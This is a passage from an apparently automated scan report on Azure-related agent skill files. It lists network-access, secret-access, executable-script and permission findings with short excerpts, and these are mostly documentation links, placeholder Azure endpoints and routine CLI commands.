- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language × trigger eval requires ~5 min of agent runtime. Full matrix (6 languages × 9 triggers) = ~4.5 hours of CI. Python is verified end-to-end; other languages are confirmed available in the [functions temp
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/README.md
- Network accessline 28
See [Blob Storage trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-storage-blob-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/composition.md
- Network accessline 47
1. FETCH MANIFEST GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json - Network accessline 48
GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json If both fail → - Network accessline 49
If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json - Network accessline 224
> ⚠<U+FE0F> **ALWAYS QUERY OFFICIAL DOCUMENTATION** — Do NOT use hardcoded versions. > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) - Network accessline 225
> > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > - Network accessline 226
> **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/README.md
- Network accessline 27
See [Cosmos DB trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-cosmosdb-v2-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/durable/README.md
- Network accessline 34
The identity must have the **Durable Task Data Contributor** role on the scheduler or task hub resource. See [DTS identity auth](https://learn.microsoft.com/en-us/azure/durable-task/scheduler/durable-task-scheduler-identity) for identity-ba
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/durable/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). PowerShell has no
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/README.md
- Network accessline 21
See [Event Hubs trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/mcp/README.md
- Network accessline 17
See [MCP Specification](https://modelcontextprotocol.io/) for protocol details. - Network accessline 31
See [MCP extension trigger and bindings](https://learn.microsoft.com/azure/azure-functions/functions-bindings-mcp) for extension-based servers, [Self-hosted MCP servers](https://learn.microsoft.com/en-us/azure/azure-functions/self-hosted-mc
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/mcp/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/README.md
- Network accessline 26
See [Service Bus trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-service-bus-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed id
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/sql/README.md
- Network accessline 45
See [SQL managed identity](https://learn.microsoft.com/en-us/azure/azure-functions/functions-identity-access-azure-sql-with-managed-identity) for identity-based config — refer to the **"Configure the function app"** section for connection s
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/sql/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Java, JavaScript,
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/timer/README.md
- Network accessline 22
> Azure uses 6-part cron expressions (with seconds). See [Azure Functions timer trigger](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-timer#ncrontab-expressions) for full syntax reference.
harness/claude-code/skills/azure-prepare/references/services/functions/templates/recipes/timer/eval/summary.md
- Network accessline 14
> ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev
harness/claude-code/skills/azure-prepare/references/services/functions/terraform.md
- Network accessline 173
> 💡 **Example Reference:** [HashiCorp Flex Consumption Example](https://registry.terraform.io/modules/Azure/avm-res-web-site/azurerm/latest/examples/flex_consumption)
harness/claude-code/skills/azure-prepare/references/services/key-vault/README.md
- Network accessline 39
| Variable | Value | |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | - Network accessline 40
|----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | | `KEY_VAULT_NAME` | Vault name | - Network accessline 41
| `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |
harness/claude-code/skills/azure-prepare/references/services/key-vault/sdk.md
- Access to secretsline 29
[Credential-related source omitted] - Network accessline 59
endpointType: 'WebHook' properties: { endpointUrl: 'https://my-api.example.com/secret-rotation' - Network accessline 60
properties: { endpointUrl: 'https://my-api.example.com/secret-rotation' } - Network accessline 61
endpointUrl: 'https://my-api.example.com/secret-rotation'
harness/claude-code/skills/azure-prepare/references/services/logic-apps/bicep.md
- Network accessline 10
state: 'Enabled' definition: { '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#' - Network accessline 11
definition: { '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#' contentVersion: '1.0.0.0' - Network accessline 12
'$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'
harness/claude-code/skills/azure-prepare/references/services/logic-apps/triggers.md
harness/claude-code/skills/azure-prepare/references/services/service-bus/patterns.md
harness/claude-code/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.ps1
- Executable scriptline 1
Executable file - Network accessline 78
if (-not (Get-Command sqlcmd -ErrorAction SilentlyContinue)) { Write-Error "'sqlcmd' is not installed or not on PATH." Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." - Network accessline 79
Write-Error "'sqlcmd' is not installed or not on PATH." Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." exit 1 - Network accessline 80
Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."
harness/claude-code/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 85
if ! command -v sqlcmd >/dev/null 2>&1; then echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2 echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2 - Network accessline 86
echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2 echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2 exit 1 - Network accessline 87
echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2
harness/claude-code/skills/azure-prepare/references/services/sql-database/sdk.md
harness/claude-code/skills/azure-prepare/references/services/static-web-apps/deployment.md
harness/claude-code/skills/azure-prepare/references/services/static-web-apps/routing.md
- Network accessline 41
"azureActiveDirectory": { "registration": { "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", - Network accessline 42
"registration": { "openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", "clientIdSettingName": "AAD_CLIENT_ID", - Network accessline 43
"openIdIssuer": "https://login.microsoftonline.com/{tenant-id}", - Access to secretsline 45
[Credential-related source omitted]
harness/claude-code/skills/azure-prepare/references/services/storage/access.md
harness/claude-code/skills/azure-pricing/SKILL.md
- Network accessline 40
GET https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview - Network accessline 43
Append `$filter` with OData syntax. Keep `api-version=2023-01-01-preview` because savings plan data appears in that version. URL-encode spaces as `%20` and quotes as `%27` when constructing a full URL such as `https://prices.azure.com/api/r - Network accessline 112
| URL | Content | | --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 113
| --- | --- | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | | https://learn.microsoft.com/en-us/microsoft-copilot-studio/billi - Network accessline 114
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management | Billing rates table, examples, and overage enforcement rules. | - Network accessline 115
| https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing | Licensing options, M365 Copilot inclusions, prepaid and pay-as-you-go context. | - Network accessline 195
- [Azure Retail Prices API](https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview) - Network accessline 196
- [Copilot Studio requirements, messages, and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 197
- [Copilot Studio billing and licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing)
harness/claude-code/skills/azure-pricing/references/COPILOT-STUDIO-RATES.md
- Network accessline 3
> Source: [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 4
> Estimator: [Microsoft agent usage estimator](https://microsoft.github.io/copilot-studio-estimator/) - Network accessline 5
> Licensing Guide: [Copilot Studio Licensing Guide](https://go.microsoft.com/fwlink/?linkid=2320995) - Network accessline 133
- [Billing rates and management](https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-messages-management) - Network accessline 134
- [Copilot Studio licensing](https://learn.microsoft.com/en-us/microsoft-copilot-studio/billing-licensing) - Network accessline 135
- [Copilot Studio Licensing Guide (PDF)](https://go.microsoft.com/fwlink/?linkid=2320995)
harness/claude-code/skills/azure-quotas/SKILL.md
- Network accessline 52
| **Key Commands** | `az quota list`, `az quota show`, `az quota usage list`, `az quota usage show` | | **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/ - Network accessline 53
| **Complete CLI Reference** | [commands.md](./references/commands.md) | | **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | | **REST API** | Microsoft. - Network accessline 54
| **Azure Portal** | [My quotas](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) - Use only as fallback | - Network accessline 59
> **⚠<U+FE0F> ALWAYS USE CLI FIRST** > > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall - Network accessline 60
> > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits - Network accessline 61
> REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits do - Network accessline 243
| REST API "No Limit" | Misleading — not unlimited | Use CLI instead; see warning in Quick Reference | | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supporte - Network accessline 244
| `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-man - Network accessline 245
| `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 253
**Known unsupported providers:** - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits) - Network accessline 254
- ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits) - Network accessline 268
|----------|------| | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overv - Network accessline 269
| **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | | **Service L - Network accessline 270
| **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | - Network accessline 271
| **Service Limits Documentation** | [Azure subscription limits](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) | - Network accessline 272
| **Azure Portal - My Quotas** | [Portal Link](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) | - Network accessline 273
| **Request Quota Increases** | [How to request increases](https://learn.microsoft.com/en-us/azure/quotas/quickstart-increase-quota-portal) |
harness/claude-code/skills/azure-quotas/references/commands.md
- Network accessline 18
> **Required workflow:** > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microso - Network accessline 19
> 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure- - Network accessline 20
> 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 31
> - ❌ This is NOT unlimited capacity > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-li - Network accessline 32
> - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits > - ✅ Regiona - Network accessline 33
> - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits - Network accessline 268
**Workarounds**: - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 269
- Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 295
> **DO NOT assume unlimited capacity. Always:** > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-ma - Network accessline 296
> 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limi - Network accessline 297
> 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) - Network accessline 303
| Error | Cause | Solution | |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/managem - Network accessline 304
|-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-servic - Network accessline 305
| `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
harness/claude-code/skills/azure-quotas/scripts/check-quota.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-quotas/scripts/check-quota.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-reliability/references/configure-health-probes.md
- Network accessline 27
3. **Two endpoints, not one** — a fast `/health` for the load balancer, and an optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it - Network accessline 29
5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.
harness/claude-code/skills/azure-reliability/references/configure-multi-region.md
- Network accessline 276
output endpoint string = 'https://${endpoint.properties.hostName}' - Access to secretsline 441
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 448
[Credential-related source omitted] - Access to secretsline 449
[Credential-related source omitted] - Access to secretsline 456
[Credential-related source omitted] - Access to secretsline 457
[Credential-related source omitted] - Access to secretsline 464
[Credential-related source omitted] - Access to secretsline 467
[Credential-related source omitted] - Access to secretsline 468
[Credential-related source omitted] - Network accessline 563
# Check Front Door endpoint is responding curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health - Network accessline 564
curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health
harness/claude-code/skills/azure-reliability/references/health-probe-checks.md
- Network accessline 68
3. **Two endpoints, not one** — fast `/health` for the load balancer, optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it out of r - Network accessline 70
5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.
harness/claude-code/skills/azure-reliability/references/services/app-service/reliability.md
- Network accessline 59
# Rules must be set via ARM PATCH (CLI doesn't expose autoHealRules directly) az rest --method patch \ --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version= - Network accessline 60
az rest --method patch --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" - Network accessline 61
--uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" \
harness/claude-code/skills/azure-reliability/references/services/functions/reliability.md
- Network accessline 197
- [Reliability in Azure Functions (Microsoft Learn)](https://learn.microsoft.com/en-us/azure/reliability/reliability-functions)
harness/claude-code/skills/azure-role-selector/SKILL.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration
harness/claude-code/skills/azure-smart-city-iot-solution-builder/SKILL.md
harness/claude-code/skills/azure-static-web-apps/SKILL.md
- Network accessline 27
- `swa-cli.config.json` is CLI settings and is created by `swa init`; never create it manually. - `staticwebapp.config.json` is runtime configuration for routes, auth, headers, navigation fallback, and API runtime; it can be created manuall - Network accessline 29
- Local SWA emulation defaults to `http://localhost:4280`; common dev server URLs include `http://localhost:3000`. - Network accessline 50
{ "$schema": "https://aka.ms/azure/static-web-apps-cli/schema", - Network accessline 51
"$schema": "https://aka.ms/azure/static-web-apps-cli/schema", - Network accessline 57
"appBuildCommand": "npm run build", "run": "npm run dev", "appDevserverUrl": "http://localhost:3000" - Network accessline 58
"run": "npm run dev", "appDevserverUrl": "http://localhost:3000" } - Network accessline 59
"appDevserverUrl": "http://localhost:3000" - Network accessline 83
| `swa init` | Configure an existing frontend and optional API. | `swa init`, `swa init --yes`. | | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, - Network accessline 84
| `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, -i`, `--output-location, -O`, `--app-build-command, -A`, `--api-build-command, -I`. | | `swa star - Network accessline 85
| `swa start` | Start local emulator. | `swa start`, `swa start ./dist`, `swa start http://localhost:3000`, `swa start ./dist --api-location ./api`, `swa start http://localhost:3000 --run "npm start"`; flags: `--port, -p`, `--api-location, - Network accessline 131
Supported API runtimes are `node:18`, `node:20`, `node:22`, `dotnet:8.0`, `dotnet-isolated:8.0`, `python:3.10`, and `python:3.11`. Test with `npx swa start ./dist --api-location ./api` and access the API at `http://localhost:4280/api/messag - Network accessline 211
### Validation - Local emulator `http://localhost:4280`: pass | fail | not run - Network accessline 212
- Local emulator `http://localhost:4280`: pass | fail | not run - Network accessline 213
- API `http://localhost:4280/api/message`: pass | fail | not applicable - Network accessline 228
- [SWA CLI schema](https://aka.ms/azure/static-web-apps-cli/schema)
harness/claude-code/skills/azure-storage/SKILL.md
- Network accessline 97
- Blob storage patterns and lifecycle -> [Blob Storage documentation](https://learn.microsoft.com/azure/storage/blobs/storage-blobs-overview) - Network accessline 98
- File shares and Azure File Sync -> [Azure Files documentation](https://learn.microsoft.com/azure/storage/files/storage-files-introduction) - Network accessline 99
- Queue patterns and poison handling -> [Queue Storage documentation](https://learn.microsoft.com/azure/storage/queues/storage-queues-introduction)
harness/claude-code/skills/azure-storage/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/azure-storage/references/sdk-usage.md
- Network accessline 36
service = BlobServiceClient(account_url="https://ACCOUNT.blob.core.windows.net/", credential=DefaultAzureCredential()) - Network accessline 47
const client = new BlobServiceClient("https://ACCOUNT.blob.core.windows.net/", new DefaultAzureCredential()); - Network accessline 58
var client = new BlobServiceClient(new Uri("https://ACCOUNT.blob.core.windows.net/"), new DefaultAzureCredential()); - Network accessline 70
BlobServiceClient client = new BlobServiceClientBuilder() .endpoint("https://ACCOUNT.blob.core.windows.net/") - Network accessline 71
.endpoint("https://ACCOUNT.blob.core.windows.net/") - Network accessline 90
func main() { cred, _ := azidentity.NewDefaultAzureCredential(nil) client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil) - Network accessline 92
client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil) - Network accessline 104
let credential = DeveloperToolsCredential::new(None)?; let blob_client = BlobClient::new( "https://ACCOUNT.blob.core.windows.net/", - Network accessline 105
let blob_client = BlobClient::new( "https://ACCOUNT.blob.core.windows.net/", "my-container", - Network accessline 106
"https://ACCOUNT.blob.core.windows.net/",
harness/claude-code/skills/azure-storage/references/sdk/azure-storage-blob-ts.md
- Network accessline 12
import { BlobServiceClient } from "@azure/storage-blob"; import { DefaultAzureCredential } from "@azure/identity"; const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());
harness/claude-code/skills/azure-storage/references/sdk/azure-storage-file-share-ts.md
- Network accessline 12
import { ShareServiceClient } from "@azure/storage-file-share"; import { DefaultAzureCredential } from "@azure/identity"; const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());
harness/claude-code/skills/azure-storage/references/sdk/azure-storage-queue-ts.md
- Network accessline 12
import { QueueServiceClient } from "@azure/storage-queue"; import { DefaultAzureCredential } from "@azure/identity"; const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential()); - Network accessline 14
const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());
harness/claude-code/skills/azure-upgrade/SKILL.md
- Network accessline 86
- [Automation Scripts](references/services/functions/automation.md) - **Redis** - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManage - Network accessline 87
- **Redis** - [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skil - Network accessline 88
- [Redis (ACR or ACRE) to AMR Migration](references/services/redis/redis-to-amr.md) — routes to dedicated [amr-migration-skill](https://github.com/AzureManagedRedis/amr-migration-skill) (ACR/OSS) or [acre-to-amr-migration-skill](https://git
harness/claude-code/skills/azure-upgrade/references/languages/java/INSTRUCTION.md
- Network accessline 102
- If azure-sdk-bom is used, ensure the BOM version exactly matches the resolved latest stable version recorded in the plan's `Guidelines` section as `TARGET_AZURE_SDK_BOM_VERSION` and there are **NO** explicit version dependencies for Azure - Network accessline 103
E.g. Instead of `implementation 'com.azure.resourcemanager:azure-resourcemanager:2.60.0'`, we should use `implementation 'com.azure.resourcemanager:azure-resourcemanager'`. For Azure libraries in azure-sdk-bom, check https://raw.githubuse - Network accessline 104
For Azure libraries in azure-sdk-bom, check https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/boms/azure-sdk-bom/pom.xml. - Network accessline 115
- [Migrate to `com.azure.resourcemanager.**` from `com.microsoft.azure.management.**`](https://aka.ms/java-track2-migration-guide) - Network accessline 116
- [Migrate to com.azure:azure-messaging-servicebus from com.microsoft.azure:azure-servicebus](https://aka.ms/azsdk/java/migrate/sb) - Network accessline 117
- [Migrate to azure-messaging-eventhubs from azure-eventhubs and azure-eventhubs-eph](https://aka.ms/azsdk/java/migrate/eh) - Network accessline 118
- [Migrate to `azure-messaging-eventgrid` from `microsoft-azure-eventgrid`](https://aka.ms/azsdk/java/migrate/eg) - Network accessline 119
- [Storage Blob Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V8_V12.md) - Network accessline 120
- [Storage Blob Service SDK Migration Guide from 10.x/11.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-blob/migrationGuides/V10_V12.md) - Network accessline 121
- [Storage Queue Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-queue/migrationGuides/V8_V12.md) - Network accessline 122
- [Storage File Share Service SDK Migration Guide from 8.x to 12.x](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/storage/azure-storage-file-share/migrationGuides/V8_V12.md) - Network accessline 123
- [Migrate to azure-security-keyvault-secrets from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-secrets) - Network accessline 124
- [Migrate to azure-security-keyvault-keys from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-keys) - Network accessline 125
- [Migrate to azure-security-keyvault-certificates from azure-keyvault](https://aka.ms/azsdk/java/migrate/kv-cert) - Network accessline 126
- [Migrate to `Azure-Compute-Batch` from `Microsoft-Azure-Batch`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/batch/azure-compute-batch/MigrationGuide.md) - Network accessline 127
- [Migrate to `azure-ai-documentintelligence` from `azure-ai-formrecognizer`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/documentintelligence/azure-ai-documentintelligence/MIGRATION_GUIDE.md) - Network accessline 128
- [Migrate to `azure-ai-formrecognizer 4.0.0-beta.1 - above` from `azure-ai-formrecognizer 3.1.x - lower`](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/formrecognizer/azure-ai-formrecognizer/migration-guide.md) - Network accessline 129
- [Migration Guide from Azure OpenAI Java SDK to OpenAI Java SDK](https://raw.githubusercontent.com/Azure/azure-sdk-for-java/main/sdk/openai/azure-ai-openai-stainless/MIGRATION.md) - Network accessline 130
